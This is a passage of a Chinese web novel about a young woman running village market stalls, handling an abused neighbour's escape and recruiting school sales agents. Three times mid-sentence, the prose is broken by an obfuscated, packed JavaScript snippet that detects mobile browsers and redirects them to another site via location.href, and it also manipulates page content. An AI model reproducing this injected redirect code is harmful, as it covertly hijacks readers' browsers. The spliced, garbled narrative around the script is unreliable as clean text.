场外街集，徐春天的目标收入直接创了新高。就徐春天的摊位，单今日一天，就顶平时五天还多。而徐春河套圈的摊子，虽然是一元起步，可架不住这个形式比较新鲜，至少在现在的大集上没有。徐春天记得上辈子城市里很多，特别是夜市广场。后来村里才有，还是有马戏团表演，赶会，大集上才有人摆。 套圈小摊今日第一天，收入达500块。这远远超出了她的预期。 “袜子走量变化不大，头饰卖的最多，利润也高。中国结虽然卖的少，大大小小只卖出了五六十个，可它单价高，成本低，利利润是相当可观。” 徐春天自己分析了一番，很快就调整好了明天的配货。同时根据今日销售情况，重新补货。同时她让孙兰清告诉做中国结的人，年前想做，必须来她家，不能再把材料带回去了。 有些事，必须防患于未然。如果放任，或者无视，那必然会暴雷。 谭晓西抽中一个 24. 人藏车底 张千户集，徐春天刚摆好摊车，李艳就凑了过来，递给她一包新糕点。“小徐，今早刚出锅的鸡蛋糕，还热乎着呢。” 徐春天也不客气，接过来就闻到香甜的味道。 “好香啊，肯定很好吃！” 李艳笑了笑：“那必须，不加一点水呢。那啥，小徐，俺家老大昨天散集才说，他和你弟去摆摊，还一起去你家写作业。” “你说这孩子也不早说！这小子要是在你家不听话，你就告诉我，我揍他。” 徐春天赶忙说：“我弟找人也没和我说有谁，就说是他在班里的好朋友。发大家也正好凑在一起写作业。” “上初一，也是大孩子了！让他们折腾去吧。” 徐春河的套圈摊，奖品都是徐春天从批发市场卖的，真正价格比较高的很少，例如昨天的飘雪水晶球，玩具车挖掘机和警车，今天的八音盒，醒狮灯笼，玲珑鱼灯。剩下的摆件，小毛绒玩具都很便宜。 所以，套圈是相当挣钱。成本低，容易操作，再加上其他两个摊位的引流，徐春天看了都有点羡慕！ 徐春河都不用说很多话，只负责收钱卖圈。三个同学一个负责捡圈，另外俩负责当托和招呼人。不像徐春天自己，忙一上午口干舌燥。 唯一庆幸的点就是，其他两摊也都是徐春天出钱，徐春河和徐春雨也是为她打工。这样一想，徐春天心里平衡了许多。 今日依旧人山人海，整条街都是人，徐春天对面还多了家炸肉小餐车，鸡叉骨鸡排，炸的喷香。淀粉肠切花刀，然后撒上摊主的秘制小料，其实就是孜然辣椒粉等，好吃极了！ 徐春天发现自己，真爱吃淀粉肠！ 不过她也就只吃了一根，然后整个上午，就看着别人举着淀粉肠走过来走过去，直至卖没了！ 徐春天长吁短叹，收摊准备回家，突然发现车底有个人！ 今日她没让金奶奶来，所以她根本没注意到！徐春天倒也不怕，青天白日的，周围还有很多摊主，就是有坏人她也不怕。 她弯下腰，一打眼就认出了趴在车底的人是谁了。 “小羽？你怎么跑这来了？” 小羽原本的的头发已经长了点，有点凌乱，她垂着头，低声说：“春天，俺，俺想回家！” “那你从底下爬出来。” 以前的小羽，长得好看又聪明，而且在村里，当时只有她一个是独生女。她的父母爷爷奶奶都非常爱她。徐春天就很羡慕，小羽有漂亮的裙子，一起耳坠项链。 后来因为生病的缘故，肿瘤压迫了神经，小羽看起来有点傻乎乎的，或许也的确智力受损。家人的爱也没有减少，反而多了份疼惜。别的小朋友都不敢和她玩，家里人就让孩子自己看电视，远离学校和朋友，时间久了，小羽胖了，近视了，整个人就看着有点不正常。 她从车底下爬出来，大概是知道别人对她的疏远，她有点胖乎乎的身体，紧贴着车厢蹲着，“春天，你带我回大徐吧。我不回高家。他打我！” 徐春天觉得小羽不傻。 然而在听到这话后，还是有些震惊。这才结婚几天，就打人？ 集上人稀稀落落，索性大家早已疲惫，忙活着收摊，还没人注意她们。徐春天怕时间久了节外生枝，立刻打开车门，示意小羽：“你先上去。” 寒假前，徐春天就换车了！买了一辆崭新的电动三轮车。车更大一点，最主要的是不需要人蹬了。车把一拧，嘎嘎有劲！ 经过徐大龙的改装后，徐春天换上了新车，旧的改装脚蹬三轮车现在是徐春河在用。 电动三轮车的座椅类似于长沙发，可以做两三个人。不然，徐春天还真不好带小羽。 车把一拧，三轮车快速启动，在严寒的冬日，快速离去。 徐春河和徐春雨他们已经到家。徐春天把车直接开到后院，让小羽坐在车里。她直接去前院东屋把谭桂兰和孙兰清叫了过来。 “娘，婶子，散集时小羽躲我车底下，非要回来。她说去了高家，天天干活，还吃不饱，那个色孩子还打她。今早那人又打她，她就跑地里去了。” 实际上，小羽趁早起喂鸡，偷偷跑了。她还怕婆家路上追她，根本没直接往大徐村跑，而是沿着大路向北，路上看到拉货赶集的人，她就顺着方向去了集上。 找上徐春天，也不是偶然。 “她知道俺在你家干活，上次我就和她说过。” 谭桂兰赶紧叫小羽下车。“瘦了呢。他打你哪了？” 小羽看到她娘就委屈坏了，“娘，俺不想去他家了，天天让俺干活，嫌弃俺傻，还说俺不能生孩子。他动不动就骂俺，打俺，还不让俺吃饱饭……” 谭桂兰性子直爽，特别护孩子。用当地的话就是护驹子。她连忙扒拉闺女的衣服，胳膊上白白净净。 “这，他打俺背，扭俺的腰。”说着小羽也不嫌弃冷，掀开衣服，后背上青一块紫一块。 “唉！该死的，狗娘养的，俺艹他祖宗，不行，俺得找他去！” 谭桂兰说着拉起小羽就要走。孙兰清拉住她：“你先告诉小羽她爸！” “嫂子，哎，春天，今天这事谢谢你了。下午俺就请假了。明天再来！” 谭桂兰风风火火，带着孩子就走了。 战场不在大徐村，徐春天不知道具体战况如何。等到了晚饭时，才听孙兰清说起来，“东西都拉回来了，分了！” “就这样？”徐春天心情有点不好。 孙兰清淡淡的说：“不然还能咋地，俩人又没领证。” “可小羽挨打了啊！” “唉，总不能把那个残废打一顿，万一打坏了还赔钱。谁心思那人这么孬啊！” 徐春天不想吃饭了。她是真不理解父母辈的想法。爱孩子，但似乎也没有那么爱。说爱吧，明知道小羽这样去别人家里做媳妇，肯定挨欺负，可还是嫁出去。可说不爱，谭桂兰又第一时间去婆家找人算账，还当机立断把人接回来。 她闷闷不乐，回到房间洗了把脸，一头扎进学海中。现在想不通的事情，就交给时间吧。她能做的就是好好学习，多多挣钱，努力把命运掌握在自己手里。 原本计划给徐春河和徐春雨日结的工资，让她改成了四天一结算！钱啊，是她的努力得到回报最直接的证据。 常屯集，徐春天很看重。四 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16902226|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个集里面，就数常屯集最多，平常时候都是过了下午一点多散集，赶上过年，估计能到三点。 所以，今天她增添了新品，抽奖用的彩色石头换成了玻璃珠。并非村里常见的玻璃弹珠，徐春天准备的玻璃珠都是纯色且不透明。 常屯集又恰逢周末，县里高中也放假了，大集上学生明显多。常常七八个凑在一起。 大集，是村里学生的商场，同学聚会的最佳场合。因为村里不像县城，有可以休闲的公园，快餐店或者是大商场。 想和同学们聚一聚，说说话还能不突兀，唯有在大集上。甚至一些小情侣，也会在集上找同学做掩护，放假期间见上几面。 常屯集上，随处可见一波又一波的青春面孔聚在一起，手里拿着吃的，大家嘻嘻哈哈，神采飞扬。 徐春天就遇到了不少同学，继续上高中的，读中专技校的，还有外出打工回来的同学们。 “咦，徐春天？真的是你，我听家里人说你摆摊了，我还不信！” 说话的女孩高高瘦瘦的，名叫高新群。是徐春天初中的同桌，两人关系还不错。初中毕业后，高新群去上中专了。 “高新群？你又长高了？”高新群见到徐春天挺开心，“你不是考进火箭班了吗？怎么摆摊了呢？” 徐春天简单和她聊了几句，摊子前顾客就多了起来。高新群来赶集，其实就是想找她。见她忙，干脆不走了，直接帮徐春天招呼客人。 高新群就是高家的人，常屯离高家也近，她小学就在常屯小学读的，初中又是常屯中学，可以说，这集上老多人她都认识。 常屯集对她，就像是场外街集对徐春天，那是从小就赶的集。 “春天啊，你家的发圈还有发卡是真好看！好多款式我在市里都没见过呢。” 送走一波客人，高新群拿起一个花朵流苏发夹，色彩搭配非常雅致，做工精美极了。 “山茶花流苏发夹？名字也好听。有点像古代人戴的东西。” 徐春天悄悄的告诉她：“是我设计的，就是看古装剧有的灵感。你戴一下，我觉得它这个颜色很适合你。” 高新群是鹅蛋脸，很大气，长相明媚，而且在中专她学幼师，还会打扮自己！戴上发夹后，她身上原本干净青春的气息上，增添了一份书卷气。 “太好看了！春天，这个你才买3块钱，真的太便宜了。” 高新群都能看出来，发夹做工如此精美，肯定很费功夫。 “薄利多销嘛！我都是赶集卖给学生党，太贵了卖不出去！” “哎，要是带我们学校去卖，至少低于五块不卖！唉，咱这里太便了，我每次回家都没直达车。倒车再做个过路车，半路下车我在让我把去接我。不然哪，我肯定从你这批发，带学校去卖。” “你不知道，我们学校女生多，都可爱打扮了。老多人家里很有钱，还染头发，说是叫什么挑染……” 说者无心，听者有意。徐春天决得自己心真大了，她竟然在思考，发展高新群做代理的可能性。 只要解决了交通问题，不就行了吗？ 的生意和昨天一样，摊位前几乎没有断人。 25. 中道落魄 快递？似乎现在还不太行。这时候邮寄东西，主要还是邮局。徐春天记得，前几天有个大学生还提到，她们大学里每个班都有个收件箱，是可以收信。学校门口有邮局，寄信直接投放邮筒或去邮局。收信的话，只要地址写清楚了，就会给放班级那个收件箱里。 快递行业是随着电商兴起才蓬勃发展。徐春天还记得她最开始从网上买东西，花了十多块钱买了条裙子！说是雪纺的，结果买回来发现硬硬的，不能穿，退还要自己出运费，她就干脆拿来当拖布了。 其实，高新群学校就在隔壁的平市，距离中金县城约二百里地。由于没有直达车，加上转车，基本上要花一上午的时间。这个时候已经有些拉客的私家车，也就是大家口中的小黑车，也不知道有没有？ “哎。” 徐春天果断的放弃了这个念头。超出自己能力之外的东西，不要想，只会徒增烦恼。 送走高新群，徐春天快速的查了下货，今日中国结卖的尤其好。特别是尺寸最大的那种，她带来的大中国结所剩无几。 谁买去了呢？打算做什么用呢？徐春天后悔刚才太忙了，也没稍微了解下。 “当当当当！” “春天！” “徐同学！” 徐春天转身，就看到程颜和谭玉，身后跟着陈一帆和李亦航。 她有点意外，“你们怎么来了？”谭玉笑嘻嘻的跑过来，把手里的东西递给徐春天。 “给你送新年礼物啊！”我和程颜绣了好久呢！” 徐春天打开一看，竟然是一副精美的十字绣。 一副挂画，上面绣着柿子苹果葫芦，还有暴富发财大吉大利几个字。图案精美可爱，颜色也喜庆。 程颜介绍，“这个啊，叫做大吉大利暴富新年图！柿子代表事事如意，苹果代表平安葫芦代表福禄。” 徐春天第一次收到这样的礼物！“这个礼物我喜欢，特别是发财暴富，听到这样的词，我做梦都能笑醒了。哈哈哈。” 陈一帆趁机加入，“徐同学，我和航哥也有礼物。”说着他递上一个精品店的包装袋，里面是一个超级可爱的明黄色毛绒玩具。 “皮卡丘！” 徐春天真的挺喜欢。她最喜欢黄色，觉得皮卡丘超级无敌可爱。 陈一帆挠挠头，“航哥选的黄色，不过是我选的皮卡丘，皮卡皮卡！” 他突然这样，惊的谭玉快速后撤， “陈一帆，你太搞笑了！” 几人说说笑笑，还顺势加入徐春天的卖货行列。该说不说，四个高中在读生，卖货还有模有样的。 “徐同学，大尺寸的中国结还有吗？” “最后一个被人买走了。” 徐春天瞅了瞅，摇摇头，“没了！前两个集卖的不太多，所以我今天就带了20个大号，其他都是中号和小号。” 李亦航看着徐春天，“一个大号中国结你才卖20，太便宜了。刚才那两个人我问了，一个是今年盖了新房，另一个是今年家里添了小孩。买回去挂家里，图个好寓意。” “我觉得这个挺好卖。首先从感官上来说，大的更好看大气，过年就是图个吉利，越大越吉利！再就是从性价比上来说，大号二十，中号十五，再加上你搞活动，满十元抽奖一次。很多人肯定是能卖大号不卖中号。” 徐春天懂了！他的一番话，点通了徐春天脑海里朦胧的想法。过年了，家家户户□□联买福字买新衣服，穿的喜气洋洋，图什么。肯定是图个有福，图个吉利，图个好寓意，图新的一年平安顺遂，万事如意。 很好，她又掌握了一个东西的卖点！ 一行人忙碌到两点多，徐春天抽空让徐春河去买了菜和肉，毕竟就他摊子上的人手多，四个呢！ 散集后，徐春天热烈邀请程颜几人去她家里吃饭。“忙活半天了，必须去我家吃饭！” “赶不上车？赶的上，到我家就吃饭。然后我骑着电三轮把你们送到省道路口，那里有从泉市通中金的长途汽车，平常我都坐五点那趟，最多二十分钟，肯定到中金。” 徐春天都这样说了，几人也就不拒绝了。大家是真饿了！ “春天啊，集上真热闹！” “是啊，太忙了！感觉人就没断过，我都说的口干舌燥。” 谭玉和程颜是真的感受到的农村大集的热闹。同时也是第一次，知道徐春天卖东西还挺有套路，三个摊位相互引流。设置了一个纯抽奖的摊，看似只顾客占了便宜，实际上，徐春天根本不赔！它最大的作用是宣传，是吸引客户。 卖到最后，程颜和谭玉都去体验了一把摇签抽奖和套圈。操作非常简单，体验感却是好到爆！ 陈一帆看着空荡荡的车厢，在得知中国结不是批发而是徐春天自家加工的之后，他忍不住说出了自己的心里话：“徐同学，老实说，你是大集上的销冠吧！我就没见过像你这么会卖东西的人！” “你这一个集，不得挣好几千啊？” “一帆！”李亦航立马提醒。 “陈一帆，你说什么呢！”谭玉更是直接嚷了句。 “春天，你别搭理他，他就是说话不过脑子。”程颜赶紧打圆场。 陈一帆也察觉自己说的太直接。　“徐同学，哪个我脑子抽抽了。” 徐春天轻松一笑：“哈哈，没事。我们是朋友，还是合作伙伴。” “说真的，寒假这几天，是真挺忙！村里大集平时人不多，也就是赶上放假和过年，学生和出门打工的都回来了。” “大家都指望着年前多卖些东西呢！” 她觉得陈一帆有句话说的挺对：“销冠我可不敢说，但卖的的确不错，别看我才摆摊半年不到，回头客也挺多。” …… 几个人气氛又欢快起来，聊了一路，到家就受到了徐家人热情的招待。 孙兰清特意把饭菜摆到后院，让徐春天和同学们单独吃。屋子里暖呼呼的，谭玉一进来，就忍不住感叹：“春天，你屋里真暖和，烧的火炕？” “是啊！”徐春天拿来脸盆和暖壶，“你们快去洗手，咱们吃饭！” 程颜和李亦航是不是村里的孩子，没见过火炕。她们熟悉的取暖工具就是暖气片，或者炉子，李亦航还见过地暖。 “春天，这炕真是热的呢，我感觉比暖气还热乎。” 程颜坐在炕上，立马感受到了火炕的温度。不过她有点想不明白，“也没看你屋里有灶火啊，从哪里烧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906349|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的呢？” 徐春天指了指外面，“灶火口在墙外，早上烧一个棒秸，一天都暖和。然后下午五六点，我爸会再烧一个，整晚都热乎。” 李亦航也觉得新鲜。他摸了摸炕边，脸上露出少见的好奇，“一天才烧俩棒秸，火炕真省事。” 孙兰清准备的菜非常丰富，荤素搭配，还特意把为过年炸的年货，端了上来。炸藕盒，炸丸子，炖排骨，红烧鱼，藕片炒肉，芝香里脊等等，还有热情腾腾新出锅的手工大馒头，可以说 菜是色香味俱全，馒头是暄软有嚼劲，一个词好吃。 徐春河还买了可乐和汽橘子水，农家土灶炖的排骨和鱼非常入味，大概就是许多人说的锅气。程颜和谭玉最喜欢吃这两道菜。 陈一帆喜欢炸丸子，“和我奶奶做的差不多，就是这个味。” 李亦航反而最喜欢吃馒头，其他人对他的选择表示不理解。 馒头，是挺好吃，但也没必要排第一吧。 李亦航看大家误解，赶紧解释：“我以前和爸妈在南方生活过，一直吃米饭，馒头也是甜的。后来爸妈去了平市，我反而要回老家。就没怎么吃过自家蒸的馒头。” 平市？这也太巧了吧！ 徐春天以前对李亦航还挺不喜欢，但后来他做自己的代理，似乎没有认出自己，徐春天也就没提，而是尽量的忽视他。 “李亦航，你爸妈在平市，那为什么你转学回到啊？” 认真说起来，平市可比中金县强。程颜和谭玉也很好奇，唯独性格最跳跃的陈一帆，沉默不语。 “嗯，主要是我户口在这，即便是在平市上高中，我最后也要回原籍考试。” 李亦航笑了下，“再就是我家里出了点事，爸妈才回到平市。” “哦哦哦。” 没想到竟然是这样子。屋里气氛有点尴尬，徐春天突然想起一个事。“那你平时咋去平市？” 李亦航心里松了一口气，有些事说出来，其实也表示大家关系更近一步。“我爸妈每两个月就回来看我。他们自己开车来。过几天放假，她们就接我去平市。” “去平市有黑车吗？” “没有。也没有直达车，需要转车。所以我一般不去平市，太麻烦了。” 李亦航敏锐的察觉到，徐春天表情有点沮丧。 “你想去平市？” 徐春天也没啥好隐瞒的，“我有个朋友在平市读中专，她觉得我的头饰在她们学校肯定很好卖。” “我是想着，如果她有意向，我把她发展成代理。头饰必须随时换新品，那么，我就必须解决供货的问题。” 陈一帆听后，忍不住感叹：“徐同学啊，我发现你是真敢想啊！平市啊，那么远，我都没去过。” 徐春天本就胆子大，如今更是没什么不敢的。 “想想又没什么损失！当初，不还是你找找我说代理的事？” 陈一帆看了李亦航一眼，挠挠头：“的确是，嘿嘿。” “其实，我可以让爸妈帮你带货。但有两个条件。” 李亦航看着徐春天，“第一，在商言商，带帮忙运货要收费！第二，我想要中国结的代理权。” 徐春天笑了，摇摇头。 26. 花花街集 气氛再次沉默。 原本李亦航的话，就让大家觉得有点过。没想到徐春天竟然直接拒绝。其他任何人就觉得，好尴尬啊。其实，帮忙运货收费也能理解，就是李亦航狮子大开口，一个事还提俩条件交换。 程颜谭玉相互看了看，陈一帆也是满脸无助，咋办咋办？ 徐春天率先打破沉默：“中国结不适合你们的消费人群，我早已和别人达成协议。” “至于收费一事，我觉得不妥。因为这会牵扯到物品中途损耗、其他意外情况等多种问题。” 她微微一笑：“所以，我觉得可以考虑下利益分成。” “啊？”如此峰回路转，其他三人忍不住出声，李亦航亦是脸上露出惊讶神色。 “怎么利益分成？” 徐春天认真解释：“就是你不是一个第三方，而是自己人。若是这事能成，我负责供货，你负责运输，我朋友负责销售。运输这块，折算成费用入股。然后每两个月根据收入，按照占股的百分比抽取收益。” “你觉得如何？” 李亦航还没说话，谭玉双眼放光的加入：“咳咳，春天啊，我要是也能有个朋友，想在学校卖头饰？” 徐春天理解她的意思，“也可以这样。不过前提是不能是同一个学校，最好也不要同一个县市。具体的我们可以再谈。” 谭玉的亲姐姐今年刚上大学。她家条件一般，孩子们都念书。姐姐在学校里兼职打工挣钱。“我姐说，她们学校里有能兼职的岗，不过竞争的人挺多，也有人在宿舍卖电话卡，卖垃圾袋。我姐超级会打价，她没课的时候还去商场里帮忙卖过东西，总之大学生更加自由。” 下午三点多，太阳虽好，天气却非常冷。徐春天骑着三轮车，全副武装之下，露出的脸依旧被风吹的有点疼。 她把程颜等人送到路口，也就过了五六分钟，就看到从南边过来一辆客车。徐春天眼神极好，“车来了！”说着她就熟练的招手。 大客车缓缓停下，徐春天冲着车上人喊了句：“去中金县车站，四个人。” 随手递上钱，车上人招呼：“正好，上车吧。” 徐春天直接帮她们把车票买了，还每人送了三个中国结。把人送走后，她看着湛蓝的天空发呆。冬日的天空，有一种纯净的蓝，冷冽的空气，让人头脑清醒。 她很确定，最初想让高新群在校园里卖头饰的确是一时兴起，但中午这顿饭结束，这个一时兴起的念头，已经成了她明年要发展的重点。 腊月二十四场外街集，因为它是年前最后一个集，又称花花街集。虽然说腊月二十九也是集，但中金县的习俗是二十九就过年了，人们，特别是村里人几乎进入腊月就开始准备过年，年货更是早早准备完了。几乎没人会在二十九这天去赶集买东西。当然，卖东西的也很少。辛苦一年了，都盼望着过年休息休息呢。 花花街集最为热闹，年轻人特别多，忙碌一年的人们，此刻都喜气洋洋。暂时忘掉生活中的烦恼，呼朋唤友，聊聊近况。 徐春河的套圈摊前格外热闹。年轻人总是莫名其妙的自信，觉得自己很行。即便是最开始不屑一顾，围观别人套圈，也会莫名其妙激起比一比的胜负欲。 不过集上又多了几个套圈摊，跟风嘛，一直就有。不过徐春河摆摊最早，也更有优势。摊上的东西时常更替，多是些新奇有趣或好看的物品，完全迎合年轻人的喜好。即使有了同行，生意依旧是最好的。 在徐家干活的人也昨天放了假，每人都发了白条鸡和活鱼。徐大龙今天就来帮徐春河看摊。孙兰清则去赶集。她家虽然有好几个人天天赶集，却是只会卖东西，可不会往家里买东西。 “兰清？哎呀，来赶集了？”说话的是孙兰清以前的小姐妹。 “卖袜子的是你家老大吧？小丫头上次见还小孩来，现在已经是大姑娘了。你可是有福了！” 她知道徐大龙腿折了，家里日子不好过。没心思人家大人到了下，孩子撑起来了。别说老大徐春天，就连俩小的，竟然摆摊也有模有样。完全不像徐大龙和孙兰清，这俩人一个寡言少语，一个见人说不出场面话。 提到孩子，孙兰清除了满心骄傲，还有愧疚。“哎，都是俺们大人没本事，俺家老大才摆摊。俺家老大说了，多挣点钱攒学费，明年她就回学校。” “哎呀，这孩子可真有志气！还是要学习啊，以后考上大学，再分配个好工作，嫁个好人家，一辈子就享福了。” “哎，孩子大了，她愿意干啥就干啥。” 孙兰清可不敢接话。她知道，徐春天最讨厌听到嫁人这种话。每次听到，都会发脾气，现在不发脾气了，她会直接冷脸把自己关屋里。 徐春天的小摊前，依旧热热闹闹。今天还出了件奇怪又好玩的事。她前几天给全家人都买了件羽绒服，自己选了件粉紫色的。为了图吉利，她给自己做了一个八盘转运珠富贵结，系在衣服上。电三轮车把上也挂了几个不同样式的中国结挂件，穿上铜钱、红玛瑙或转运珠，就是图个好兆头。 结果一个顾客穿了件一模一样的羽绒服，纳闷怎么徐春天的衣服有个漂亮精致的小饰品。明明只差一个饰品，她怎么看都觉得徐春天的衣服更好看。 所以忍不住问了下，得知两人衣服是同一家店买的。无论是价格还是款式，并没有差。至于小饰品，徐春天笑着解释：“这是我自己编玩的。编的是富贵结，你看，和那个大中国结的样式一样。里面穿了一颗转运珠。我就是图个吉利。” 听她这样一说，那位顾客越看越眼热。最后硬是要花钱把这个转运珠富贵结买下来。 徐春天也没多要钱，都是用的家里剩下的材料。她这一买，旁边的人也心动了。聪明的人立马挑袜子或中国结，然后趁着结账时提出诉求。 “老板，我也想要个富贵结转运珠，最好是红色玛瑙。希望明年能转运，拜托了！” “姐，这个是什么结？哦哦哦，如意结，我想要个如意结穿转运珠。” “我想要给颜色多点的，家里有个小鱼能给串上嘛？我家孩子明年出生，打算挂孩子床头上。” …… 说啥的都有，都快把徐春天当许愿池了。 徐春天自然是拒绝。东西虽小，但编起来费劲，关键是卖不上价。 “这个很简单的，你们回家自己编就行，真没啥技巧，看看就会。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16906350|192180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但是她高估了许多年轻人的动手能力，而且现在网络也没有那么发达，信息也不全。许多人还真不太会，也就是传说中的手残党。 再一个就是她低估了自己的审美能力。并不是所有人都懂得搭配，审美在线。 虽然徐春天都尽量婉拒，但还是心里想，既然有需求，只要能卖钱，其实她还挺愿意做的。 就如同她说的，编织不难，难得是设计花样，是要选择合适的丝线和颜色搭配。对年轻人而言，这种小玩意好看要大过一切。 花花街集要赶到下午，中午时候，徐春天的表姐还给她送来了甘蔗水。把甘蔗切成段，然后搭配上红枣姜片一起煮。 “我打工时，有个工友就这么煮，可好喝了。” 徐春天的表姐比她年龄大不少，在徐春天心目中，表姐长得跟明星一样漂亮。 “姥娘说你赶集忙的吃不上喝不上，催着让我们给你送饭。春雨春河那边也送了。你表哥他们净想着玩套圈。” 表姐爱说，话也多。看到徐春天能摆摊把家撑起来，心疼又欣慰。“姨夫好了，你明年就回学校？” “嗯。”徐春天一直和所有人这样说，一遍一遍的，她就是要让自己有压力。每次白天太忙，晚上学一会就学累了，她都会鼓励自己，要坚持啊！所有人都知道她要回去，她是一定要回去！ “那你这摊怎么办？”表姐可不觉得，孙兰清和徐大龙能继续摆摊。 集上很有烟火气，但温度低，风很冷。“姐，天太冷了，一笑牙都冷。” 徐春天没回答反而说了起了天气。 表姐揉了揉徐春天的头，“你这个笑话太冷，不好笑。” 徐春天抗议，“哪有？我没有说笑话，分明说的大实话。” “以后的事，再说吧。我也没想好呢！” 最后的集，集集热闹非凡，徐春天恨不得多赶几天，过年啊，是真挣钱！忙碌了一年的人，回家是真消费。就这个年，徐春天她们姐弟三人，未来的学费都有了。 去年是腊月二十九过年，今年有腊月三十。徐春天给自己从腊月二十九开始放假，打算直到初十。一般都是初十一开始有小集。 到了三十这天，金奶奶炖了两只鸡，熥上年前蒸的馒头，炸好的丸子藕盒熏肉等等，准备了超级丰盛的中午饭。下午一家人围在一起包饺子，徐春天擀皮飞快，甚至能双手擀皮。惹得徐春雨感叹：“我姐可真厉害，啥也会！怪不得我们老师说，真正的学霸可不只是学习厉害，那是干什么都厉害。” “这说的不就是我姐吗？学习厉害，摆摊厉害，会设计，编织东西看一眼就会，就连包饺子，那也是比一般人厉害。” 徐春天笑她：“哪有那么夸张！快速洗几个硬币，包饺子里。晚上谁吃到，明年一定挣大钱，走大运！” 饺子里包硬币虽然不知开始于何时，但徐春天记得，家里过年都会包。奶奶还会故意做标记，盛到徐大龙碗里。 听说有的人家忘记做标记，从腊月三十晚上吃到初一晚上，整整四顿饺子，愣是没人吃出硬币。最后不得不把剩下的饺子掐了一遍，才找到硬币，避免了初二后硬币被别人吃了去的烦恼。 27. 代理升级 徐春天看着孙兰清把硬币包饺子里。孙兰清不像金奶奶，她没有做记号的心思。包好的饺子都放盖帘上，家里的盖帘都是徐爷爷自己用高粱杆做的。用黄纸盖上，放到一边，初一还要吃一天饺子。 还未黑，天空还有点青色，村庄里就已经噼里啪啦响起了鞭炮声。徐春天看到巷子口的火堆已经点起来了。她小时候特别喜欢烤火，然后听着大人们聊天。棒秸上火苗跳跃，映着人们的笑脸。人们烤的暖融融的，看着天空中盛放的烟花，说着哪个烟花好看。 徐春天准备了些会放光的彩色灯笼，徐春雨早就迫不及待的拎着出去，和她的小伙伴们一起玩。徐春河则自认为是个男子汉了，就主动去放鞭，别看他长相文静，实则胆子挺大，还嫌弃钻天猴，非要放两响。 金奶奶和孙兰清烤了一会火，就回家煮饺子。等火堆烧的差不多，人们就开始回家吃饭。热腾腾的饺子，热气氤氲中，徐春天夹起一个放嘴里，牙齿就和硬币来了个硬碰硬。 她笑了。 又是一年！ 初一拜年，初二走姥娘家，初三走姐家姑姑家，初四走娘家，初五就是破五了…… 徐春天觉得日子过得飞快，到了正月十一，她就迫不及待的去赶集了。 还有很多人在走亲戚，集上人并不多。“春天！我猜你今天就会来！” 高新群迫不及待的跑过来。走完亲戚，在家里也很无聊。村里没有多少娱乐设施，大人们不是看电视就是凑在一起打牌聊天。 像她们这个年龄段，都不喜欢。她们更愿意去县城逛街，反正只要不在家里，就挺好。 “我在家里都待够了，电视也不好看。每天感觉啥也没有干，就是吃饭，要么吃瓜子长果。你看我都快上火了。” 高新群的性格有点像谭玉，都是心直口快的人。徐春天递给她一个发夹，“送你的，戴上试一试？” “这是什么花？感觉有点像簪子？” 高新群很喜欢。 “这是我看春晚时看到的，觉得挺好看，我就自己做了出来。”徐春天决定这时候的春晚还挺好看的。 “我咋没看到？我就记得周杰伦唱歌了，还有他那个衣服，感觉很新潮。” 高新群也是追星族一个。“我感觉商店里肯定有卖的！等我回学校去转转。” “真好看。”她对着镜子臭美，“可惜我们学校附近的精品店，上新速度真慢，价格也贵。你要是去我们学校卖，肯定卖的特快，你不知道，我们学校里女生特别多，都老漂亮了。你看，我今天化了睫毛，好看吧？” “好看！”徐春天决定高新群真的很鲜活。她慢悠悠的问：“虽然我不能去你们学校卖头饰，你有没有兴趣卖？” “啥？” 高新群吓的跳起来，“你说让我卖东西？”她赶紧摆手，“我不行，不行。我都不会打价。” “你就当我的校园代理，我出货，你不用出钱，只管卖，卖出多少给你算提成。卖不出去你就都退回来。” 徐春天拿出她的笔记本，“我在县一中也有两个好朋友，她们就从我这拿货，然后利用下课后的时间在校园里卖。每个月不用管家里要钱，还能存下不少。” “我的货，比外面精品店的便宜，好看，款式更新速度快。” 过了一开始的震惊和恐慌，高新群逐渐冷静下来。“其实，我同学里也有卖东西的，好像叫什么安，还有个什么玫什么琳，我舍友还买了呢。听说她们是一个团队，挨个宿舍推销。” 徐春天大概猜出是什么牌子，毕竟有段时间很流行，甚至县城大街上开了好多店。 “你要不要试一试？多的我不说，你至少可以不用管家里要钱。如果你自己不想卖，也可以找想卖的人，依旧我供货给你，她卖东西，卖多少你也能拿提成。” 高新群有点心动，但对于好朋友突然谈钱，特别是她印象中的徐春天，以前心里只有学习。 “哎，春天，你变化真大。” 徐春天笑了笑，“我觉得挺好。以前还是学生，可什么都依靠家里。咱同学里，你上中专了，我高中辍学，你记得刘雪飞吗？她差几分考上高中，家里不愿意花钱，让她订婚了，然后就一起出门打工。” 